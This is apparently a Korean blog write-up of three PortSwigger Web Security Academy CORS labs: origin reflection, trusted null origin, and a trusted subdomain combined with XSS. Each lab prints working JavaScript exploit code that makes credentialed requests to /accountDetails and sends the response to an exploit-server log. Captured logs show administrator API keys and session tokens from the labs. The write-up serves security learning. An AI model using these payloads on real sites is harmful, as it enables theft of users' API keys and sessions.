Lab: CORS vulnerability with basic origin reflection

이번 랩에서는 웹사이트가 모든 origins을 신뢰하는 CORS 취약점을 가지고 있다고 한다.
admin의 API key를 알아내는 자바스크립트 코드를 짜서 exploit server에 올려야 한다.

먼저 wiener로 로그인을 해줬다. 내 API key를 알려주고 있다!

로그인하면서 얻은 /accountDetails를 요청한 GET 메세지의 Response로 username과 API Key를 보내주고 있는 것을 확인할 수 있었다. 이 점을 악용하여 admin의 API key를 얻어내면 될 것 같다.

해당 GET 메세지에 Origin으로 random-site.com을 추가해서 보내보았다. 그랬더니 Access-Control-Allow-Origins으로 해당 사이트를 추가해서 Response에 담아주고 있었다! 이는 즉 웹사이트의 CORS 구성에 의해 모든 사이트를 신뢰한다는 것이고, Access-Control-Allow-Credentials 역시 true로 되어 있었기에 인증 정보를 담아서 보내더라도 공격이 가능한 것이다.
공격이 가능하다는 것을 알았으니 이제 자바스크립트 코드를 짜보자.
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0ad500aa040bb70a807f6c1000ca002f.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
위는 완성된 자바스크립트 코드이다. 먼저 서버와 통신하기 위해 req를 선언해주고 요청이 완료되면 reqListner 함수가 실행되도록 한다. open 함수를 통해 페이지의 /accountDetails에서 정보를 가져오도록 하고, 가져온 response를 log에 출력하도록 했다!
위 블로그에서 XMLHttpRequest에 대해 추가적으로 이해할 수 있었다.

해당 코드를 Body에 넣어서 victim에게 보내줬다.

그 다음 log를 보았더니 admin의 accountDetails이 담긴 Response가 적혀있는 것을 확인할 수 있었다!

성공~ 아래 블로그는 CORS에 대해 야무지게 설명해놨길래 추가해봤다.
Lab: CORS vulnerability with trusted null origin

이번 랩에서는 웹사이트가 모든 origin을 신뢰하지는 않지만 ‘null’ origin을 신뢰한다고 한다.

실제로 Origin에 http://random-site.com을 넣어서 보냈는데도 ACAO에 추가되지 않았다.

그리고 null은 추가되는 것을 확인할 수 있었다.

이전 문제의 exploit 코드를 보내보았지만 응답을 출력해주지 않는다! 왜냐하면 모든 웹사이트가 다 신뢰받는 것은 아니기 때문이다.
따라서 이번에는 exploit 코드를 조금 수정해야 한다.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a5800d104510703826fa65200c900d4.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-0a220010040307bf8221a5cb01ff0017.exploit-server.net/exploit/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
수정한 exploit 코드는 위와 같다. iframe 태그에 sandbox를 사용한 이유는 이것이 null origin request를 발생시키기 때문이다!

sandbox에 들어간 속성값들의 특징은 위의 이미지에 잘 담겨있다. (아래 블로그 참고)
그리고 나머지 코드는 이전 문제와 거의 비슷한데, response를 출력해주는 부분에서 origin이 null이므로 location으로 log 페이지를 직접 명시해주는 부분만 달라졌다.

보내고 log를 확인했더니 성공적으로 정보를 담아왔다.

💡 10.0.4.7 2023-08-17 07:23:04 +0000 "GET /exploit/log?key=%7B%0A%20%20%22username%22%3A%20%22administrator%22%2C%0A%20%20%22email%22%3A%20%22%22%2C%0A%20%20%22apikey%22%3A%20%22vfk2PogNqiDFA66AgpVJ4NYdzMOpAASm%22%2C%0A%20%20%22sessions%22%3A%20%5B%0A%20%20%20%20%22GtDUqO6Gn70Qu9ax1u1FvMTLi5XYjcvS%22%0A%20%20%5D%0A%7D HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"

성공~
Lab: CORS vulnerability with trusted insecure protocols

이번 랩에서는 CORS 구성을 잘한 것 같았지만, subdomain을 신뢰하는 부분을 공략할 수 있다!

/accountDetail에 Origin으로 https://subdomain.0abd006b042839d38341703000ea00d4.web-security-academy.net을 넣어보니 ACAO에 표시되는 것을 확인했다.

해당 웹사이트는 온라인 쇼핑몰이다. 재고를 확인하는 check stock 버튼을 눌렀더니 작은 창이 하나 떴다.

해당 창의 host는 stock.0abd006b042839d38341703000ea00d4.web-security-academy.net이다. subdomain이다! 우리는 해당 subdomain을 가지고 exploit해야 한다.
보면 subdomain에서 GET 요청이므로 url로 productId와 storeId를 받고 있다. 이 부분은 XSS 공격이 가능하다.
<script>
document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
위와 같이 productId 뒤에 이전 문제에서 사용했던 exploit 코드를 넣어주면 된다!

실제로 성공해서 log 페이지에서 response가 출력된 것을 확인할 수 있었다.
💡 10.0.4.57 2023-08-17 10:40:28 +0000 "GET /log?key={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22VwSmEwc5yJKZVs73PA8GcLzFGPPcfEvg%22,%20%20%22sessions%22:%20[%20%20%20%20%22RtMso9IyCiKlxAY6eeyQWwZiT8iHGI9d%22%20%20]} HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"

성공~